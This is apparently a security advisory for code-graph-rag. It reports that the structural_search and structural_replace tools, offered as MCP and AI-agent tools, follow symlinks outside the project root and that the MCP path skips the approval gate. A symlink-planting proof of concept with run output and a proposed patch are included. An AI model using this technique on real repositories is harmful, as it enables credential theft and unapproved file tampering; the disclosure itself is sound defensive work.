A remote/local attacker who can get a symbolic link included in a source-code repository that code-graph-rag analyzes can cause the structural_search and structural_replace tools (backed by AstGrepService, exposed both as MCP tools and as agentic AI tools) to read and -- via structural_replace with dry_run=False -- overwrite arbitrary files outside the configured project root, because the tool's path-containment check (should_skip_path/_classify_file) is performed lexically on the unresolved path and never checks Path.is_symlink() or calls .resolve(), unlike the project's own (correct) validate_project_path decorator used elsewhere.
Tested at commit 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (pyproject version 0.0.550), current main at test time. Confirmed this commit already contains the fix for the prior advisory (GHSA-vvr2-h2jp-838m: paginated read_file path traversal) and the newer HTTP-MCP bearer-auth gate (_validate_http_exposure in codebase_rag/mcp/server.py) -- this is a distinct, still-open issue on top of those fixes, in a different component with a different root cause and a strictly worse impact (write, not just read).
AstGrepService (codebase_rag/tools/ast_grep_service.py) backs both the structural_search and structural_replace MCP/agentic tools. It enumerates candidate files with os.walk() and gates each path only through should_skip_path():
codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) -- walks self.project_root with os.walk(); every non-directory dirent returned (including a symlink pointing anywhere on disk) is treated as an in-scope file.codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) -- the only containment check is should_skip_path(...) followed by abs_path.relative_to(self.project_root) (line 82); abs_path is never resolved, so this check is purely lexical/string-based.codebase_rag/utils/path_utils.py:80-109 (should_skip_path) and codebase_rag/utils/path_utils.py:35-37 (cached_relative_path) -- computes rel_path = file_path.relative_to(repo_path) without ever calling .resolve() or Path.is_symlink().codebase_rag/tools/ast_grep_service.py:143-144 (search) -- source = self._read(abs_path) calls path.read_text(), which Python follows through the symlink to its real target.codebase_rag/tools/ast_grep_service.py:187-208 (replace), line 208 -- abs_path.write_text(new_source, ...) when dry_run=False, again following the symlink and overwriting the real target file's content.This is inconsistent with how the rest of the codebase handles the exact same class of risk. The file read/write/edit tools (file_reader.py, file_writer.py, file_editor.py) are all protected by validate_project_path (codebase_rag/decorators.py:73-75):
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)
.resolve() follows symlinks before the containment check runs, so those tools correctly reject an out-of-root target. path_utils.py's own absolute_path_within_project_root() (codebase_rag/utils/path_utils.py:156-176) documents the same principle explicitly in its docstring: "The resolve() calls are load-bearing: containment is checked lexically, so an unresolved .. segment or symlink would escape the root." -- but should_skip_path()/AstGrepService never applies that pattern.
Reachability: structural_search (codebase_rag/tools/structural_search.py:24-46) carries no requires_approval flag at all -- in AI-orchestrator mode the model can call it autonomously with no human confirmation. structural_replace (codebase_rag/tools/structural_editor.py:52-57) is marked requires_approval=True, but that flag is only enforced by pydantic-ai's own agent loop -- the MCP server path bypasses it entirely: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) calls self._structural_editor_tool.function(...) directly, registered with no approval concept at codebase_rag/mcp/tools.py:369-388. Any MCP client that can call tools can invoke structural_replace with dry_run=False in one shot.
Dynamically confirmed against the installed package (mgclient/pymgclient mocked, as in the prior advisory's own PoC, since the Memgraph native client isn't needed for this code path).
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService
SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)
matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN' (read escape)
changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())
Actual run output:
[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
match in reported file='linked_module.py' text='API_TOKEN'
match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
structural_search(), attributed to a path 'inside' the project root.
[*] Calling AstGrepService.replace(pattern='API_TOKEN',
rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
wrote change to reported file='linked_module.py' matches=2
[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
(/tmp/poc_symlink/safe-project-root) was modified by structural_replace
via a symlink placed inside the root.
Any operator who points cgr (CLI, agentic ask_agent mode, or MCP structural_search/structural_replace tools) at a repository they did not fully audit -- the exact use case this tool is built for ("query, understand, and edit multi-language codebases") -- can have that repository's planted symlink used to:
cgr process (credentials, SSH keys, .env files, sibling project source), via structural_search, with no approval gate at all.cgr process, via structural_replace(dry_run=False), bypassing the tool's own approval gate when called through the MCP protocol.Apply the same resolve-then-contain pattern already used by validate_project_path (codebase_rag/decorators.py:73-75) and absolute_path_within_project_root (codebase_rag/utils/path_utils.py:156-176) to should_skip_path. Reject any path whose resolved (symlink-followed) location escapes the resolved project root:
--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
_is_file = path.is_file() if is_file is None else is_file
if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
return True
+ # Reject symlinks (or any path) that resolve outside the project root,
+ # mirroring validate_project_path's decorator (decorators.py:73-75) and
+ # absolute_path_within_project_root (this module, below).
+ try:
+ path.resolve().relative_to(repo_path.resolve())
+ except ValueError:
+ return True
rel_path = cached_relative_path(path, repo_path)
Concretely: this one change in should_skip_path fixes both _classify_file (search) and the os.walk filtering in _iter_source_files (replace), since both route through it. As defense in depth, _iter_source_files could additionally skip symlinked dirents outright (entry.is_symlink()) during the os.walk.
Credit: Dostxodjayev Abdullox (GitHub: squeeze440)
{
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-09T22:16:41Z",
"nvd_published_at": "2026-11-05T21:18:54Z",
"severity": "HIGH"
}